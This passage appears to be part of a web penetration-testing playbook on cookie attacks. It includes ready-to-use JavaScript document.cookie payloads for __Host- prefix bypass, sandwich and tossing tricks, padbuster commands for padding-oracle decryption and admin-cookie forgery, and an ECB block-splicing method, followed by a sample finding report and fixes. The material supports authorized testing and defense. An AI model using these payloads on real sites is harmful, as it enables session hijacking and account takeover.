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Prefix overwrite: after setting the whitespace/$Version variant from a subdomain, the server-side request shows the protected __Host-/__Secure- cookie carrying YOUR value (duplicate-name "last wins"). Confirm via a reflected value, CSRF-token override, or session swap.
Smuggling: the backend parses a forged cookie (e.g., a spoofed CSRF token) out of a single attacker-controlled cookie string — verify by observing the app accept the injected value.
Crypto: padbuster returns plaintext (oracle confirmed) or a re-encrypted user=administrator cookie that the app accepts as that user; for ECB, an "a"*blocksize+"admin" trick yields a working admin cookie.
Tossing/fixation: the victim's authenticated actions occur in the attacker's account context, or a pre-set cookie remains valid after the victim logs in.
Always confirm with a concrete privileged action (access another user's data, elevated role) rather than just a parsing observation.
Flag: SameSite=None without need, missing HttpOnly on session, Domain set to parent (subdomain exposure), no __Host- prefix on session cookies.
Step 2: Decode and Tamper Cookie Contents
# Try Base64/hex decode of opaque cookiesecho'eyJ1c2VyIjoiYm9iIn0' | base64 -d
# Modify decoded data (user/role/id), re-encode, replay, observe privilege change
Step 3: Test Prefix Overwrite from a Subdomain
// From an XSS/controlled subdomain, attempt to set a parent __Host- cookiedocument.cookie = `${String.fromCodePoint(0x2000)}__Host-session=attacker; Domain=.example.com; Path=/;`;
// Also try $Version=1 legacy parsing variantdocument.cookie = `$Version=1,__Host-session=attacker; Path=/long/; Domain=.example.com;`;
Use Burp to send multiple leading code points (U+2000, U+0085, U+00A0) and observe whether the backend normalizes the name to the prefixed form.
Step 4: Cookie Smuggling / Sandwich / WAF Bypass
// Sandwich to capture an HttpOnly cookie reflected in a responsedocument.cookie = `$Version=1;`;
document.cookie = `param1="start`;
document.cookie = `param2=end";`;
Send duplicate cookies across multiple Cookie: headers to test back-end joining and WAF blocklist bypasses.
Step 5: Attack Crypto-Weak Session Cookies
# Padding oracle: decrypt
padbuster http://web.com/index.php <COOKIE> 8 -cookies auth=<COOKIE>
# Padding oracle: forge an admin cookie
padbuster http://web.com/index.php <COOKIE> 8 -cookies thecookie=<COOKIE> -plaintext user=administrator
# ECB: register username = "a"*blocksize + "admin", then splice blocks to mint admin
If the cookie is a static-key cipher (e.g., IDEA + hex), encrypt the target user ID offline and set the forged value directly — no credentials needed.
Step 6: Cookie Tossing & Session Fixation
// From a controlled subdomain, set a path/domain-scoped cookie that the parent readsdocument.cookie = "session=attacker_value; Domain=.example.com; Path=/";
Test whether the app issues a NEW session on login (if not, a fixed/attacker-supplied cookie persists and enables fixation/tossing).
Key Concepts
Concept
Description
SameSite
Strict/Lax/None controls cross-site sending; Chrome defaults unset cookies to Lax
__Host- / __Secure-
Prefixes enforce Secure, HTTPS origin, no Domain, Path=/ — meant to block subdomain overwrite
Prefix Bypass
Leading Unicode whitespace or $Version=1 legacy parsing tricks servers into accepting forged prefixed cookies
Cookie Smuggling
Empty-name/quoted-value parser quirks let one cookie string inject extra logical cookies
Cookie Sandwich
$Version=1 + open/close quotes traps an HttpOnly cookie so it gets reflected
Cookie Tossing
Setting a cookie from a subdomain that the parent domain consumes
Padding Oracle / ECB / CBC-MAC
CBC error oracle decrypts/forges; ECB allows block shuffling; CBC-MAC with null IV is forgeable
Static-Key Cipher
Cookie = encrypt(userID) under a global hard-coded key; forge any user offline
Tools & Systems
Tool
Purpose
Burp Suite + CookiePrefixBypass.bambda
Craft raw Cookie headers; automate prefix/smuggling probes
padbuster
Padding-oracle decryption and forgery of CBC-encrypted cookies
Set cookies via document.cookie; test cross-context binding
http.cookie / framework parsers
Reproduce server-side normalization (e.g., Django str.strip) to predict bypasses
Common Scenarios
Scenario 1: __Host- Overwrite via Unicode Whitespace
An XSS on sub.example.com sets \u2000__Host-session=...; Domain=.example.com. The Django backend trims the leading code point, normalizes the name to __Host-session, and (last-wins) adopts the attacker's value as the privileged session.
A page reflects a benign cookie in its response. Using $Version=1 plus open/close quoted cookies, the attacker traps the HttpOnly SESSION value inside the reflected cookie and exfiltrates it.
Scenario 3: Static-Key Cookie Forgery
The app issues COOKIEID = IDEA-encrypted user ID, hex-encoded, under a hard-coded key. The tester encrypts ID 1 offline, matches the format, and forges an admin cookie — full pre-auth bypass with no credentials.
Output Format
## Cookie Vulnerability Finding
**Vulnerability**: __Host- Cookie Overwrite via Parser Discrepancy
**Severity**: High (CVSS 8.1)
**Location**: Cookie parsing on example.com (Django backend) + sub.example.com XSS
**OWASP Category**: A07:2021 - Identification and Authentication Failures
### Reproduction Steps
1. From sub.example.com (controlled), run document.cookie with leading U+2000 + __Host-session and Domain=.example.com
2. Browser stores the cookie because the name does not literally start with __Host-
3. example.com backend trims the Unicode whitespace, normalizing to __Host-session
4. Duplicate-name resolution (last wins) adopts the attacker value
5. Confirmed session swap: requests now resolve to the attacker-controlled value, enabling CSRF-token override / fixation
### Evidence
| Item | Value |
|------|-------|
| On-the-wire name | \u2000__Host-session |
| Server-normalized name | __Host-session |
| Resolution | last occurrence wins |
| Impact | session fixation / CSRF token override |
### Recommendation
1. Reject cookie names containing leading/embedded Unicode whitespace; do not trim before prefix checks
2. Disable legacy RFC2109/2965 parsing ($Version) on the server/proxy
3. Enforce HttpOnly + Secure + SameSite and use __Host- consistently for session cookies
4. Issue a fresh session ID on login; bind sessions to additional context to prevent fixation/tossing
5. Replace home-grown cookie crypto with authenticated, server-side sessions (random IDs)
